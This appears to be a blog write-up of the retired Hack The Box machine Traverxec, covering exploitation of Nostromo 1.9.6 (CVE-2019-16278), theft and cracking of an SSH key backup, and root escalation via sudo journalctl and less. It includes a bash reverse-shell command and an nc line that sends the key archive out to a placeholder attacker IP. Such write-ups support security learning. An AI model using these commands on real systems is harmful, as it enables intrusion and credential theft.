root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat traverxec.md
// writeups

Traverxec

16 Nov 2019 · 8 min read
Traverxec - maquina de Hack The Box

Executive summary — Traverxec is an Easy Linux box with three clean steps: an unauthenticated RCE in Nostromo 1.9.6 (CVE-2019-16278); a backup of david's SSH key hidden on the server (with an encrypted passphrase cracked offline); and a textbook escalation via sudo journalctl that — run without the | cat the legitimate script uses — opens the less pager, from which you spawn a root shell. A Nostromo RCE → david's SSH backup → sudo journalctl → root path.

PlatformHack The Box
Operating systemLinux
DifficultyEasy
StatusRetired
Target IP10.129.1.246

Attack map

[80] nostromo 1.9.6
   │  CVE-2019-16278 — path traversal → RCE (unauth)
   ▼
[www-data]
   │  david's SSH key backup in protected-file-area
   ▼
[SSH]  david  (encrypted id_rsa → passphrase via john: "hunter")  → user.txt
   │  sudo journalctl -u nostromo.service (no pipe to cat → opens less)
   ▼
[ROOT]  from less: !/bin/sh

1. Reconnaissance

nmap -sC -sV -p- 10.129.1.246
22/tcp  open  ssh
80/tcp  open  http  nostromo 1.9.6

The clue: the web server is Nostromo 1.9.6, an uncommon server with a known public RCE — not a generic Apache/Nginx.

2. Preparing the exploit — CVE-2019-16278

What it is: a path traversal in Nostromo that, combined with its .pl/CGI handling, allows unauthenticated command execution. We grab the public exploit:

searchsploit nostromo 1.9.6
searchsploit -m 47837

The downloaded script (47837.py) shipped with a leftover debug line from the original author that breaks execution. We remove it without touching anything else:

grep -n cve2019_16278 47837.py
sed -i '/cve2019_16278.py/d' 47837.py

The exploit is written in Python 2. If the system defaults to Python 3, we switch to a 2.x environment with pyenv:

pyenv global 2.7.18
python --version
Python 2.7.18

3. Exploitation — from id to a reverse shell

Before spawning an interactive shell, we confirm the RCE with a harmless command:

python 47837.py 10.129.1.246 80 id
uid=33(www-data) gid=33(www-data)

With RCE confirmed, we set up a listener and fire a reverse shell:

nc -lvnp 4444
python 47837.py 10.129.1.246 80 "bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"
whoami  →  www-data

4. David's SSH key backup

Nostromo serves david's homedir under public_www. With a shell already in hand, there's no need to go through the server's basic auth: we walk the filesystem directly and find a backup of his SSH keys in the «protected» area:

cd /home/david/public_www/protected-file-area
ls -la
backup-ssh-identity-files.tgz

Nostromo also exposes a .htpasswd with a hash for david guarding that protected zone; cracked separately it gives the password Nowonly4me. Careful: that's the .htpasswd web password, not the SSH key passphrase — they are two distinct secrets and easy to mix up.

5. Transferring and extracting the backup

On our machine we open a listener and, from the reverse shell, send the .tgz over raw TCP:

# attacker:
nc -lvnp 9001 > backup.tgz
# victim (reverse shell):
nc <ATTACKER_IP> 9001 < backup-ssh-identity-files.tgz

With the file on our machine, we extract it:

tar -xzvf backup.tgz
home/david/.ssh/id_rsa
home/david/.ssh/id_rsa.pub
home/david/.ssh/authorized_keys

6. Cracking the passphrase and logging in as david

The id_rsa is passphrase-encrypted. We extract its hash with ssh2john and crack it offline:

ssh2john home/david/.ssh/id_rsa > hash
john --wordlist=rockyou.txt hash
home/david/.ssh/id_rsa:hunter

With the passphrase (hunter) in hand, we fix permissions and log in over SSH:

chmod 600 home/david/.ssh/id_rsa
ssh -i home/david/.ssh/id_rsa david@10.129.1.246
cat /home/david/user.txt

7. Privilege enumeration — david's script

In his home directory, david has a script that checks the Nostromo service status, and it reveals the exact sudo command he's allowed to run:

cat /home/david/bin/server-stats.sh
/usr/bin/sudo /usr/bin/journalctl -n5 -u nostromo.service | /usr/bin/cat

The key detail: the script pipes the output to | /usr/bin/cat, specifically to prevent journalctl from opening the less pager. If we run the same command without that pipe, and make sure the output doesn't fit the terminal, journalctl does invoke less — running as root.

8. Escalation — sudo journalctl + less (GTFOBins)

We shrink the terminal to a handful of lines tall (around 5) to force the output to overflow and trigger the pager, then run the command without the script's | cat:

sudo /usr/bin/journalctl -n5 -u nostromo.service

With less open (inheriting root privileges via sudo), we escape to a shell by typing, slowly, inside the pager itself:

!/bin/sh
#
id  →  uid=0(root)

9. Root flag

cat /root/root.txt

System fully compromised. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
Footholdnostromo 1.9.6CVE-2019-16278 (path traversal → unauth RCE)Shell as www-data
LateralBackup in the webrootDavid's SSH keys backed up + crackable passphrase (hunter)SSH as david
PrivEscsudo journalctlRunning it without the script's | cat opens less as root → !shRoot

Lessons learned

  • Unpatched uncommon software (Nostromo) = public RCE. Inventory and update.
  • Don't store SSH key backups in web-served folders, not even in areas «protected» by basic auth.
  • Don't reuse or confuse secrets: the .htpasswd password and the SSH key passphrase were different here; reusing them in a real environment would be the real failure.
  • Beware sudo over programs with a pager (journalctl, man, less…): even if the «safe» wrapper script pipes to | cat to avoid it, if sudoers allows the bare command, anyone can trigger the pager and escape to a shell (GTFOBins).
  • Encrypt private keys with a strong passphrase: a weak one (like hunter) cracks offline in seconds with a common wordlist.